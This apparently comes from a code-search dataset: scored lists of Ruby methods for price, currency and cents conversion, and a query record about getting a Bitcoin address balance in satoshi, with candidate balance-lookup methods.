"def price\n basic = Spree::Currency.basic.char_code\n price = prices.where(currency: basic).limit(1)[0]\n if price\n amount = price.amount\n else\n amount = read_attribute(:price) || 0\n end\n Spree::Currency.conversion_to_current(amount)\n end",
"def price_in_cents\n Integer( price * 100 + 0.5 ) # +0.5 Because floating-point numbers don’t always have an exact internal representation.\n end",
"def price_in_cents\n\t\tInteger(@price*100 + 0.5)\n\tend",
"def price_in_cents\n Integer(price*100 + 0.5)\n end",
"def price_in_cents\n\t\tInteger(price * 100 + 0.5)\n\tend",
"def total_price\n if raw_data[:PriceInformation] && raw_data[:PriceInformation][:TotalPrice]\n Money.new(raw_data[:PriceInformation][:TotalPrice][:Value].to_f * 100, raw_data[:PriceInformation][:TotalPrice][:CurrencyCode])\n else\n nil\n end\n end",
"def price_in_cents\n\t\tInteger(price * 100 + 0.50)\n\tend",
"def current_usd_value\n # return cached value if it was taken recently\n cache_age = (Time.now - @last_usd_value[:last_update]).to_i\n return @last_usd_value[:value] if cache_age < 2.minutes\n\n # otherwise, get the current USD value from bitcoinaverage.com API\n usd_value_url = 'https://api.bitcoinaverage.com/ticker/global/USD'\n current_value_json = JSON.parse(URI.parse(usd_value_url).read)\n\n # cache the latest value and return it\n @last_usd_value[:last_update] = Time.now\n @last_usd_value[:value] = current_value_json['last'].to_f\n end",
"def usd_rate\n clean(Typhoeus::Request.get('https://wts.zold.io/usd_rate')).body.to_f\n end",
"def price_int_to_float()\n return convert_int_to_f(self.price)\n end",
"def price(_currency = 'USD')\n raise Sibit::NotSupportedError, 'Blockchair doesn\\'t provide BTC price'\n end",
"def price_in_cents\n (cart.total_price*100).round\n end",
"def balance_btc_ui\n balance_btc.to_f * 10 ** -8\n end",
"def price_in_cents\n read_attribute(:price) \n end",
"def convert_price_to_dollar\n \tself.price = self.price.to_f/100\n end",
"def buyback_price=(p)\n self.buy_price_cents = (self.string_to_float(p, :locale => self.vendor.region) * 100).round\n end",
"def currency\n 'usd'\n end",
"def calculate_price_in_micro_units\n 0\n end",
"def dollars\n cents.to_f / 100\n end",
"def total_buy_price\n buy_price[\"total\"][\"amount\"].to_f\n end",
"def cost_in_dollars\n self.cost / 100.to_f\n end",
"def price(opts = {})\n constituents.price(opts).to_f\n end",
"def usage_price\n data.usage_price\n end",
"def starting_price\r\n Money.new(starting_price_cents, starting_price_currency).format(with_currency: true)\r\n end",
"def total_in(currency)\n Money.new(total_price_cents, \"USD\").exchange_to(currency)\n end",
"def unit_price\n self[:unit_price] || (product.nil? ? BigDecimal(0) : product.price) || BigDecimal(0)\n end",
"def base_price\n price / multiplier\n end",
"def total_price\n number_to_currency(total, unit: address.region.currency )\n end",
"def total_in_dollars_and_cents\n total.to_f / 100\n end",
"def gain_price(current_price = nil)\n price = self.price.present? ? self.price : 0.0\n current_price = current_price.present? ? current_price : self.item.current_price\n (current_price - price )\n end",
"def to_f\n (BigDecimal.new(cents.to_s) / currency.subunit_to_unit).to_f\n end",
"def to_f\n (BigDecimal.new(cents.to_s) / currency.subunit_to_unit).to_f\n end",
"def to_btc(value)\n value.to_f\n end",
"def total_price\n Money.new(quantity * price_per_serving)\n end",
"def price\n return 0 unless self.persisted?\n\n return product.master.price if with_master_price?\n\n default_price.price\n end",
"def raised_amount\n raised_currency_code =~ /USD/i && raw_raised_amount || BigDecimal.new('0')\n end",
"def dollar_total\n total / 100.0\n end",
"def promo_price\n price*0.75\n end",
"def price(cur = 'USD')\n h = get_json('/ticker')[cur.upcase]\n raise Error, \"Unrecognized currency #{cur}\" if h.nil?\n h['15m']\n end",
"def get_value\n current_price = YahooFinance::get_quotes(YahooFinance::StandardQuote, @ticker.upcase)[@ticker.upcase].lastTrade\n current_price * @shares\n end",
"def price\n if raw_data[:PackagePrice] && raw_data[:PackagePrice][:TotalPrice]\n Money.new(raw_data[:PackagePrice][:TotalPrice][:Value].to_f * 100, raw_data[:PackagePrice][:TotalPrice][:Currency])\n else\n nil\n end\n end",
"def price_amount_micros\n @subscription_purchase.price_amount_micros\n end",
"def market_value\n mp = self.clearing_price\n mp * self.open_volume * self.instrument_multiplier * self.instrument_currency_exchange_rate\n end",
"def unit_cost_price\n self[:cost_price] || unit_price - application_fee\n end",
"def price_with_vat\n price = read_attribute(:price_with_vat)\n if User.current and User.current.currency\n price.to_d * User.current.currency.exchange_rate.to_d\n else\n price.to_d\n end\n end",
"def total_unit_price\r\n\t\ttotal = self.unit_price\r\n\r\n\t\ttotal = Product.discount_price(total, discount, discount_is_abs)\r\n\r\n\t\tliovs = self.line_item_option_values\r\n\t\tliovs.each do |cur_liov|\r\n\t\t\ttotal += cur_liov.extra_cost\r\n\t\tend\r\n\r\n\t\ttotal\r\n#\t\tmultiplier = order.priced ? 1.0 : 1.1\r\n\r\n#\t\ttotal * multiplier\r\n\tend",
"def convertToNum(price)\n \treturn Float(price.gsub(/\\s+/, \"\").gsub(\"USD \",\"\"))\n end",
"def float(company)\n par_price = initial_offering.get_par_price(company)\n bank.give company, par_price * 10\n market.add_company company, par_price\n end",
"def calculate_fiat_value_for_exchange_rate(btc_to_dollar_exchange_rate, amount_of_btc_to_purchase = 0.01)\n (amount_of_btc_to_purchase * btc_to_dollar_exchange_rate).round(2)\n end",
"def price_in_dollars\n price_in_cents/100.0 unless price_in_cents.nil?\n end",
"def price\n return self[:price] if market_open?\n previous_close\n end",
"def price\n base_price * discount_factor\n end",
"def formatted_price\n price_in_dollars = price_in_cents.to_f / 100\n sprintf(\"%.2f\", price_in_dollars) # <= What's all this business?\n end",
"def total_price\n (@base_price * @tax_rate + @base_price) * @quantity\n end",
"def unit_price(currency_code=nil)\n self.price(currency_code) / (self.pieces || 1) if self.price(currency_code)\n end",
"def formatted_price\n price_in_dollars = price_in_cents.to_f / 100\n sprintf(\"%.2f\", price_in_dollars)\n end",
"def total_unit_price\r\n\t\ttotal = self.unit_price\r\n\r\n\t\tliovs = self.line_item_option_values\r\n\t\tliovs.each do |cur_liov|\r\n\t\t\ttotal += cur_liov.extra_cost\r\n\t\tend\r\n\r\n\t\ttotal\r\n\tend",
"def full_price\n\t\tunit_price * quantity\n\tend",
"def euros price\n price ? number_to_currency(price , :precision => 2 , :unit => \"€\") : 0.0\n end",
"def price(coin_name, qty, btc: nil, date: nil)\n \n price_usd = if date then\n @ccf.price coin_name, date\n else\n coin = @ccf.find(coin_name) \n coin.price_usd.to_f \n end\n \n \"%.2f %s\" % [(price_usd * qty.to_f) * @jer.rate(@mycurrency), \n @mycurrency]\n end",
"def price\n (original_price * (1 - discount_rate)).to_i\n end",
"def current_asking_price\n !!get_last_bid ? get_last_bid.amount : self.price\n end",
"def discount_value\n return 0 unless order.fixed_pricing?\n\n if free_gift? && pricing_sku.present?\n pricing_sku.find_price(quantity: 1).regular.to_f\n else\n price_adjustment.amount.abs.to_f\n end\n end",
"def original_price\n order.total_price_with_taxes\n end",
"def calculate_price_with_vat\n if @tax and self.price\n if User.current and User.current.currency\n converted_price = (self.price.to_d / User.current.currency.exchange_rate.to_d).to_d\n else\n converted_price = self.price\n end\n price_with_vat = @tax.apply_tax(converted_price)\n return price_with_vat\n else\n nil\n end\n end",
"def double_price\n @@price_per_coin_in_usd *= 2\n end",
"def current_price\n curr = self.item_prices.current.first\n if curr.nil?\n return nil\n else\n return curr.price\n end\n end",
"def get_price(user_crypto)\n CoinMarketCapResult.parsed_response.find do |cmc|\n cmc['symbol'] == user_crypto.type\n end['quote']['USD']['price']\n end",
"def total_price\n mrg = margin(pricing_policy)\n calculate(pricing_policy, mrg).round\n end",
"def price= price\n if User.current and User.current.currency\n converted_price = (price.to_d / User.current.currency.exchange_rate.to_d).to_d\n else\n converted_price = price\n end\n write_attribute(:price, converted_price)\n self.price_with_vat = calculate_price_with_vat\n end",
"def to_f\n return @amount.to_f\n end",
"def unit_price\n if persisted?\n self[:unit_price]\n else\n product.price\n end\n end",
"def unit_price\n if persisted?\n self[:unit_price]\n else\n product.price\n end\n end",
"def full_price\n\t\t\t\t@aftertax = @baseprice * @taxrate\n\t\tend",
"def full_price\n price + tax_evaluation\n end",
"def base_markup_price\n @base_price + (@base_price * Flat_Markup_Rate)\n end",
"def loss_price(current_price = nil)\n price = self.price.present? ? self.price : 0.0\n current_price = current_price.present? ? current_price : self.item.current_price\n (price - current_price )\n end",
"def cigaret_price\n 0.30\n end",
"def profit_percent(current_price)\n price = self.price.present? ? self.price : 0.0\n (self.gain_price(current_price)*100/current_price).round(2)\n end",
"def price(_currency = 'USD')\n raise Sibit::NotSupportedError, 'Btc.com API doesn\\'t provide prices'\n end",
"def real_amount()\n Bankjob.string_to_float(amount, @decimal)\n end",
"def display_price\n Spree::Money.new(new_amount, currency: currency)\n end",
"def price\n\t\tvalue = 0\n\t\tself.items.each do |item|\n\t\t\tvalue += item.product.price * item.amount\n\t\tend\n\t\tvalue\n\tend",
"def dollars\n to_f\n end",
"def dollars\n to_f\n end",
"def dollars\n to_f\n end",
"def formatted_price\n price / 100.0\n end",
"def cents\n @cents\n end",
"def current_price\n # hard coded currency but can be used in future to get data for multiple currencies\n response = Faraday.get(\"https://api.coingecko.com/api/v3/simple/price?ids=bitcoin&vs_currencies=usd&include_24hr_change=true\")\n if response.success? # happy path\n render json: JSON.parse(response.body), status: response.status\n else # sad path\n render json: { errors: JSON.parse(response.body) }, status: response.status\n end\n end"
] |
[
"0.7496824",
"0.743165",
"0.7418935",
"0.73806006",
"0.73665506",
"0.73621905",
"0.7355877",
"0.7292291",
"0.7215419",
"0.7191245",
"0.71680725",
"0.7165655",
"0.71636397",
"0.7157195",
"0.70857084",
"0.7057009",
"0.70539796",
"0.70490247",
"0.70330375",
"0.6970452",
"0.6858763",
"0.68396866",
"0.6835723",
"0.6803499",
"0.67671967",
"0.67476124",
"0.6746891",
"0.6744224",
"0.6731306",
"0.67234796",
"0.67215556",
"0.669338",
"0.6681769",
"0.6679375",
"0.6667123",
"0.66621065",
"0.6654204",
"0.66526556",
"0.6649042",
"0.66433424",
"0.6630197",
"0.6629956",
"0.662894",
"0.662894",
"0.6622929",
"0.661348",
"0.6607409",
"0.66019905",
"0.658316",
"0.6565701",
"0.65518504",
"0.6549149",
"0.65479374",
"0.6547535",
"0.65398425",
"0.6531249",
"0.6529453",
"0.651476",
"0.65129256",
"0.64972943",
"0.6487662",
"0.64833975",
"0.648126",
"0.6475613",
"0.64644206",
"0.64578056",
"0.64577013",
"0.6454971",
"0.64524746",
"0.6447459",
"0.6437927",
"0.6426721",
"0.6425409",
"0.6422039",
"0.64210236",
"0.64206773",
"0.6419606",
"0.6416258",
"0.6412907",
"0.6402191",
"0.6401382",
"0.6398975",
"0.6388229",
"0.6384438",
"0.6384438",
"0.6379173",
"0.63790566",
"0.6374428",
"0.63680124",
"0.63606584",
"0.63587266",
"0.6356646",
"0.6356125",
"0.6349454",
"0.63304144",
"0.63302827",
"0.63302827",
"0.63302827",
"0.63264364",
"0.6324405",
"0.63212115"
] |
0.0
|
-1
|
Gets the balance of the address, in satoshi.
|
def balance(address)
best_of('balance') do |api|
api.balance(address)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def balance(address)\n json = Sibit::Json.new(http: @http, log: @log).get(\n Iri.new('https://api.blockchair.com/bitcoin/dashboards/address').append(address).fragment(the_key)\n )['data'][address]\n if json.nil?\n @log.info(\"Address #{address} not found\")\n return 0\n end\n a = json['address']\n b = a['balance']\n @log.info(\"The balance of #{address} is #{b} satoshi\")\n b\n end",
"def get_balance(address)\n #res = get(\"addr/\"+address+\"?noCache=1\")\n #(res['balance'] + res['unconfirmedBalance']).to_BTCFloat\n get(\"addr/\"+address+\"?noCache=1\")['balance'].to_BTCFloat\n end",
"def address_balance(address)\n total = $db.connection.execute(\n \"SELECT amount FROM wallet_transfers WHERE destination_address = ?\",\n address,\n ).flatten.map { |a| BigDecimal(a) }.reduce(&:+)\n\n spent_including_fees = $db.connection.execute(\n \"SELECT fee, amount FROM wallet_transfers WHERE from_address = ?\",\n address,\n ).flatten.map { |a| BigDecimal(a) }.reduce(&:+)\n\n total.to_i - spent_including_fees.to_i\n end",
"def balance(address)\n uri = Iri.new('https://chain.api.btc.com/v3/address').append(address).append('unspent')\n json = Sibit::Json.new(http: @http, log: @log).get(uri)\n if json['err_no'] == 1\n @log.info(\"The balance of #{address} is zero (not found)\")\n return 0\n end\n data = json['data']\n if data.nil?\n @log.info(\"The balance of #{address} is probably zero (not found)\")\n return 0\n end\n txns = data['list']\n if txns.nil?\n @log.info(\"The balance of #{address} is probably zero (not found)\")\n return 0\n end\n balance = txns.map { |tx| tx['value'] }.inject(&:+) || 0\n @log.info(\"The balance of #{address} is #{balance}, total txns: #{txns.count}\")\n balance\n end",
"def address_balance address\n balance = call_blockchain_api(\"addressbalance/#{address}\")\n\n raise DogeCoin::InvalidAddress unless is_a_float?(balance)\n\n balance.to_f\n end",
"def balance(address)\n json = Sibit::Json.new(http: @http, log: @log).get(\n URI(\"https://blockchain.info/rawaddr/#{address}\")\n )\n @log.info(\"Total transactions: #{json['n_tx']}\")\n @log.info(\"Received/sent: #{json['total_received']}/#{json['total_sent']}\")\n json['final_balance']\n end",
"def balance(address)\n json = get_json(\"/rawaddr/#{address}\")\n info(\"Total transactions: #{json['n_tx']}\")\n info(\"Received/sent: #{json['total_received']}/#{json['total_sent']}\")\n json['final_balance']\n end",
"def balance_of(address)\n payload = Base58.decode(address).to_s(16)\n public_key_hash = payload.slice(0, payload.length - 4)\n unspent_txs = unspent_transaction_outputs_of(public_key_hash)\n unspent_txs.reduce(0) { |sum, tx_out| sum + tx_out.value }\n end",
"def balance() @address.balance; end",
"def get_balance(address, tag: 'latest')\n validate_address(address)\n validate_block_tag(tag)\n\n resp = conn.post do |req|\n req.headers['Content-Type'] = 'application/json'\n req.body = json_rpc(method: 'eth_getBalance', params: [address, tag]).to_json\n end\n resp_body = JSON.parse(resp.body)\n\n if resp_body['error']\n raise InfuraCallError.new(\n \"Error (#{resp_body['error']['code']}): Infura API call \"\\\n \"eth_getBalance gave message: '#{resp_body['error']['message']}'\"\n )\n else\n wei_amount_hex_string = resp_body['result']\n wei_amount_hex_string.to_i(16)\n end\n end",
"def fetch_balance(address)\n address = address.address if address.is_a? PaymentAddress\n blockchain.native_currency.to_money_from_units(\n AbstractCommand.new(client).load_basic_balance(address)\n )\n end",
"def get_balance\n return balance\n end",
"def balance(account_name=nil)\n request('getbalance', account_name)\n end",
"def fetch_balance_for(address)\n unspent = 0\n api_request('queryUnspentOutputs', { addresses: [address]})['unspent'].each do |out|\n unspent += out['value']\n end\n unspent\n end",
"def fetch_balance_for(address)\n unspent = 0\n api_request('queryUnspentOutputs', { addresses: [address]})['unspent'].each do |out|\n unspent += out['value']\n end\n unspent\n end",
"def account_balance\n response = execute_command('getbalance')\n parse_response(response)['Credit'].to_f\n end",
"def get_balance(coin_type, address, opts = {})\n data, _status_code, _headers = get_balance_with_http_info(coin_type, address, opts)\n data\n end",
"def total_received address\n balance = call_blockchain_api(\"getreceivedbyaddress/#{address}\")\n\n raise DogeCoin::InvalidAddress unless is_a_float?(balance)\n\n balance.to_f\n end",
"def get_balance(hash160_or_addr, unconfirmed = false)\n if Bitcoin.valid_address?(hash160_or_addr)\n txouts = get_txouts_for_address(hash160_or_addr)\n else\n txouts = get_txouts_for_hash160(hash160_or_addr, :hash160, unconfirmed)\n end\n unspent = txouts.select {|o| o.get_next_in.nil?}\n unspent.map(&:value).inject {|a,b| a+=b; a} || 0\n rescue\n nil\n end",
"def balance(_address)\n raise Sibit::NotSupportedError, 'balance() doesn\\'t work here'\n end",
"def balance\n JSON.parse(response.body).fetch('balance')\n end",
"def balance(address)\n first_one do |api|\n api.balance(address)\n end\n end",
"def get_ethereum_balance(eth_address)\n uri = URI.parse(\"https://etherchain.org/api/account/#{eth_address}\")\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n #FIX: only for this sample case, in production we would need to use proper PEM certificates here\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n request = Net::HTTP::Get.new(uri.request_uri)\n response = http.request(request)\n\n json_response = JSON.parse(response.body)\n if(json_response[\"status\"] == 1 && !json_response[\"data\"][0].nil?) then\n return json_response[\"data\"][0][\"balance\"]\n else\n raise(\"error in ethereum balance request\")\n end\n\n\n end",
"def balance\n balance = 0.00\n @transactions.each do | transaction|\n balance += transaction[:amount]\n end\n return balance\n end",
"def balance\n rest.get(:getbalance)['data']\n end",
"def balance(query = nil)\n Ledger::Balance.get(query)\n end",
"def get_balance(address = nil)\n outputs = get_unspent_outputs(address.nil? ? [] : [oa_address_to_address(address)])\n colored_outputs = outputs.map{|o|o.output}\n sorted_outputs = colored_outputs.sort_by { |o|o.script.to_string}\n groups = sorted_outputs.group_by{|o| o.script.to_string}\n result = groups.map{|k, v|\n btc_address = script_to_address(v[0].script)\n sorted_script_outputs = v.sort_by{|o|o.asset_id unless o.asset_id}\n group_assets = sorted_script_outputs.group_by{|o|o.asset_id}.select{|k,v| !k.nil?}\n assets = group_assets.map{|asset_id, outputs|\n {\n 'asset_id' => asset_id,\n 'quantity' => outputs.inject(0) { |sum, o| sum + o.asset_quantity }.to_s,\n 'amount' => outputs.inject(0) { |sum, o| sum + o.asset_amount }.to_s,\n 'asset_definition_url' => outputs[0].asset_definition_url,\n 'proof_of_authenticity' => outputs[0].proof_of_authenticity\n }\n }\n {\n 'address' => btc_address,\n 'oa_address' => (btc_address.nil? || btc_address.is_a?(Array)) ? nil : address_to_oa_address(btc_address),\n 'value' => satoshi_to_coin(v.inject(0) { |sum, o|sum + o.value}),\n 'assets' => assets,\n 'account' => v[0].account\n }\n }\n address.nil? ? result : result.select{|r|r['oa_address'] == address}\n end",
"def get_account_balance(account_id)\n query_api_object AccountBalance, \"/rest/accounts/#{account_id}/balance\"\n end",
"def balance\n return false unless Account.exists?(@account_id)\n\n Trade.where(account_id: @account_id).pluck(:amount).reduce(:+) || 0.0\n end",
"def balance\n txns.inject(Amount::ZERO) { |sum, t| sum + t.amount }\n end",
"def balance\n\t\tbalance = 0.00\n\t\t@transactions.each do |transaction|\n\t\t\tbalance += transaction[:amount]\n\t\tend\t\n\n\t\treturn balance\n\tend",
"def return_balance(name)\n return find_account(name)[:balance]\n end",
"def account_balance\n balance = 0\n deposits.each {|deposit| balance += deposit.amount}\n\n transactions.each do |transaction|\n amount = transaction.price * transaction.num_shares\n transaction.order_type == 'BUY' ? balance -= amount : balance += amount\n end\n return balance.round(2)\n end",
"def get_unconfirmed_balance(address, network = :bitcoin)\n return call_api_method(:get_unconfirmed_balance, network, address)\n end",
"def getbalance(account = nil, minconf = 1)\n @api.request 'getbalance', account, minconf\n end",
"def balance\n wallet = Fyb.private.getaccinfo.perform.parse\n btc_label = 'btcBal'\n money_label = Fyb::Configuration.currency.to_s + 'Bal'\n\n btc = BigDecimal.new wallet[btc_label]\n real_money = BigDecimal.new wallet[money_label]\n\n { :btc => btc, Fyb::Configuration.currency => real_money }\n end",
"def getbalance(account = nil, minconf = 1)\n request :getbalance, account, minconf\n end",
"def get_balance\n\t\treturn @balance.balance\n\tend",
"def balance\n\t\tbalance = 0\n\t\t@transactions.each do |transaction|\n\t\t\tbalance += transaction[:amount]\n\t\tend\n\t\treturn balance\n\tend",
"def getbalance(account = nil, minconf = 1)\n coind.getbalance account, minconf\n end",
"def balance\n return @balance if @balance.present?\n\n result = api_customers_command\n\n @balance = [ result[:account_balance_in_btc_normalized], result[:account_balance_in_usd] ]\n end",
"def balance\n res = dollars\n\n fund_transactions.each do |tran|\n res += tran.dollars\n end\n\n return res\n end",
"def balance\n @accounts.values.first\n end",
"def balance_for(account)\n @accounts[account]\n end",
"def getBalance\n result = @driver.GetBalance(:ApiKey => @apikey)\n if result.getBalanceResult.errorCode == \"0\" then\n output = result.getBalanceResult.balance\n else\n output = result.getBalanceResult.errorMessage\n end\n return output\n end",
"def balance(account)\n net_deposits(account) - net_withdraws(account)\n end",
"def balance\n # If in development, return a mocked amount\n return 1234 if Rails.env.development?\n\n # If in production, fetch the user's balance from Tab.\n @balance || begin\n headers = {\n \"Authorization\" => \"Token token=#{Rails.application.secrets.tab_api_key}\",\n \"Content-type\" => \"application/json\"\n }\n result = HTTParty.get(File.join(Rails.application.config.api_url, \"users\", \"#{name}.json\"), headers: headers)\n\n JSON.parse(result.body)[\"balance\"] if result.code == 200\n rescue StandardError # rubocop:disable Lint/SuppressedException\n end\n end",
"def balance\n @client.balance(name)\n end",
"def balance\n return @balance\n end",
"def account_balance\n @account_balance\n end",
"def get_balance\n builder = Builder::XmlMarkup.new(indent: 2)\n builder.instruct! :xml, version: \"1.0\"\n builder.getUserBalance(company: @company)\n\n result = send_xml(builder.target!)\n\n source = XML::Parser.string(result)\n content = source.parse\n log(\"Content: #{content}\")\n\n if error = content.find_first('message')\n @errors = error.content.strip\n 0\n else\n # TODO: Check for other possible results in here\n return content.find_first('/userBalance').content.strip.to_f\n end\n end",
"def balance\n @balance ||= starting_balance + transactions.inject(0) do |result, element|\n result + element.amount\n end\n end",
"def balance\n if @options[:verbose]\n warning = \"Coinbase doesn't provide a USD balance because\"\n warning << \" it connects to your bank account. Be careful, \"\n warning << \"because this will withdraw directly from your accounts\"\n warning << \"when you trade live.\"\n logger.warn warning\n end\n @balance ||= [max_float, max_float]\n end",
"def balance\n b = read_attribute(:balance)\n if User.current and User.current.currency\n b.to_d * User.current.currency.exchange_rate.to_d\n else\n b.to_d\n end\n end",
"def show_balance\n\t\t\treturn @balance\n\t\tend",
"def invoice_balance\n BigDecimal.new(self.freshbooks_invoice['amount_outstanding']) rescue nil\n end",
"def balance\n Money.new(\n Revenue.to_account(self).joins(:virtual_revenues).sum('\"virtual_revenues\".\"cents\"').to_i +\n Transfer.to_account(self).sum(:cents) - Transfer.from_account(self).sum(:cents) - \n Purchase.from_account(self).joins(:virtual_purchases).sum('\"virtual_purchases\".\"cents\"').to_i +\n self.initial_balance_in_cents\n )\n end",
"def total_balance(confirmed = true)\n balance(confirmed) - payments.sum(:amount)\n end",
"def balance(currency)\n\t\treturn @balance[currency]\n\tend",
"def balance\n # accounts.reduce(0) {|sum, account| sum + account.balance}\n accounts.sum {|account| account.balance}\n\n # total = 0\n # accounts.each {|account| total += account.balance}\n # total\n end",
"def balance_btc_ui\n balance_btc.to_f * 10 ** -8\n end",
"def address\n post('/api/1/generic/bitcoin/address')['addr']\n end",
"def balance\n self.ledger_entries.sum(:value)\n end",
"def total_balance(id)\n Account.find(id).total\n end",
"def balance\n parse_balance(post('/api/1/generic/info'))\n end",
"def balance(account_id)\n balances.by_pk(account_id).one!\n end",
"def balance\n transactions.inject(0) do |sum, transaction|\n sum + transaction.amount\n end\n end",
"def acc_balance\n @page.css(\"span[data-semantic = 'header-available-balance-amount']\").text.to_money.to_f\n end",
"def balance\n credit = FineBalance.sum('AMOUNT', :conditions=>{:INCURRED_ID=>self.CHARGE_INCURRED_ID})\n return self.AMOUNT-credit\n end",
"def balance\n @balance ||= total - amount_paid\n end",
"def total_balance\n return @checking_account_balance + @saving_account_balance\n end",
"def outstanding_balance\n loan.funded_amount - loan.payments.amount\n end",
"def balance\n @balance\n end",
"def balance(account)\n return balances[account] || infer_balance(account) # need to infer the balance if the account is not in ledger's output\n end",
"def total_sent address\n balance = call_blockchain_api(\"getsentbyaddress/#{address}\")\n\n raise DogeCoin::InvalidAddress unless is_a_float?(balance)\n\n balance.to_f\n end",
"def balances\n accounts.with_balance\n end",
"def getbalance(args={})\n {\n :method=> \"GetBalances\"\n }.to_json\n end",
"def balance_hash\n @money\n end",
"def balance_get(addrs, opts = {})\n data, _status_code, _headers = balance_get_with_http_info(addrs, opts)\n data\n end",
"def balance\n if self.normal_balance.debit?\n self.amounts.balance\n elsif self.normal_balance.credit?\n - self.amounts.balance\n else\n nil\n end\n end",
"def deposit_address(currency = 'XBt')\n get 'depositAddress', currency: currency do |response|\n raise response.body unless response.success?\n\n response.to_s\n end\n end",
"def account\n AccountInfoParser.parse(post(\"balance\"))\n end",
"def balances()\n request(\"#{@base_url}/account/getbalances\")\n end",
"def balance=( value )\r\n @address.send( '@balance=', value )\r\n end",
"def get_available_balance\n response = post 'GetAvailableBalance'\n balance = response[:body][:availableBalance]\n end",
"def money\n\t\tif @wallet.neg?\n\t\t\t@in_debt = true\n\t\tend\n\t\treturn @wallet.amount\n\tend",
"def get_balance_with_http_info(coin_type, address, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AddressApi.get_balance ...'\n end\n # verify the required parameter 'coin_type' is set\n if @api_client.config.client_side_validation && coin_type.nil?\n fail ArgumentError, \"Missing the required parameter 'coin_type' when calling AddressApi.get_balance\"\n end\n # verify enum value\n allowable_values = [\"BITCOIN\", \"ETHEREUM\", \"TESTNET3\", \"BITCOIN_CASH\", \"BITCOIN_GOLD\", \"LITECOIN\", \"DASH\", \"DOGE\", \"BITCOIN_PRIVATE\", \"ZCASH\", \"ZCASH_TESTNET\", \"ZCLASSIC\"]\n if @api_client.config.client_side_validation && !allowable_values.include?(coin_type)\n fail ArgumentError, \"invalid value for \\\"coin_type\\\", must be one of #{allowable_values}\"\n end\n # verify the required parameter 'address' is set\n if @api_client.config.client_side_validation && address.nil?\n fail ArgumentError, \"Missing the required parameter 'address' when calling AddressApi.get_balance\"\n end\n # resource path\n local_var_path = '/api/address/balance/{coin_type}/{address}'.sub('{' + 'coin_type' + '}', CGI.escape(coin_type.to_s)).sub('{' + 'address' + '}', CGI.escape(address.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'BalanceReply' \n\n # auth_names\n auth_names = opts[:auth_names] || ['ApiKeyAuth']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AddressApi#get_balance\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def balance_for(other_user)\n Money.new(all_balances[other_user.id], 'PLN')\n end",
"def formatted_balance\n format_monetary_value(balance)\n end",
"def balance(ending_at=nil)\n return @balance if !!@balance && !ending_at\n if ending_at\n balance_cents = self.transactions.sum(:cents,\n :conditions => [\"created_at < ? AND action NOT IN (?)\", ending_at, ['authorize', 'void']]\n )\n @balance = nil\n Money.new(balance_cents || 0, self.currency)\n else\n @balance = Money.new(self.cents, self.currency)\n end\n end",
"def getaccount(bitcoinaddress)\n @api.request 'getaccount', bitcoinaddress\n end",
"def combined_balance\n return @@response[\"combinedBalances\"][0][\"totalEquity\"]\n end",
"def balance\n @balance ||= starting_balance + flights.inject(0) do |result, element|\n result + element.profit\n end\n end",
"def actual_balance\n if previous.present?\n previous.balance_amount_with_sign\n else\n 0\n end\n end",
"def balance\n body = { action: \"balance\", key: @@access_key }\n post_request(body).to_i\n end",
"def all_wallet_balances\n\t\ttotals = Hash.new {|h,uuid| h[uuid] = 0 }\n\t\ttotals[ GENESIS_WALLET ] = INITIAL_AMOUNT\n\n\t\tself.each_block do |block|\n\t\t\tblock.transactions.each do |tr|\n\t\t\t\ttotals[ tr[:to] ] += tr[:amount]\n\t\t\t\ttotals[ tr[:from] ] -= tr[:amount]\n\t\t\tend\n\t\tend\n\n\t\treturn totals.transform_values {|val| Money.new(val, :zmz) }\n\tend",
"def balance_for( wallet, include_pending_transactions=false )\n\t\tself.log.debug \"Checking balance for wallet %s\" % [ wallet ]\n\n\t\ttotal = self.chain.inject( 0 ) do |sum, block|\n\t\t\tself.log.debug \"Summing from block %d\" % [ block.index ]\n\t\t\tsum + block.transactions.inject( 0 ) do |trsum, transaction|\n\t\t\t\tchange = transaction_change_for( wallet, transaction )\n\t\t\t\tself.log.debug \" txn %p: %+d\" % [ transaction, change ]\n\t\t\t\ttrsum + change\n\t\t\tend\n\t\tend\n\t\tself.log.debug \" total from chain: %p\" % [ total ]\n\n\t\tif include_pending_transactions\n\t\t\ttotal += self.current_transactions.inject( 0 ) do |trsum, transaction|\n\t\t\t\tchange = transaction_change_for( wallet, transaction )\n\t\t\t\tself.log.debug \" %+d\" % [ change ]\n\t\t\t\ttrsum + change\n\t\t\tend\n\t\t\tself.log.debug \" total after pending transactions: %p\" % [ total ]\n\t\tend\n\n\t\treturn total\n\tend",
"def amount\n return self.fee['amount'].to_f\n end",
"def check_balance\n return @balance\n end",
"def balance\n params = {'username' => ENV['ROCK_USERNAME'],\n\t\t 'password' => ENV['ROCK_PASSWORD'],\n 'api_key' => ENV['ROCK_KEY']}\n\n btc_balance = 0.0\n\tusd_balance = 0.0\n\n\tresponse = RestClient.post(\"https://www.therocktrading.com/api/get_balance\", params, {})\n\tr_json = JSON.parse(response)\n\tif (r_json.keys.include?(\"result\"))\n\t r_json[\"result\"].each do |currency|\n if currency[\"currency\"]==\"BTC\"\n \t btc_balance = currency[\"balance\"].to_f\n\t elsif currency[\"currency\"]==\"USD\"\n\t usd_balance = currency[\"balance\"].to_f\n end\n\t end\n \telse\n\t btc_balance = 0.0\n\t usd_balance = 0.0\n\tend\n return [btc_balance, usd_balance]\n end"
] |
[
"0.79297596",
"0.7650384",
"0.7475143",
"0.74137586",
"0.7399117",
"0.7330787",
"0.73150444",
"0.718895",
"0.70118725",
"0.6929778",
"0.67927784",
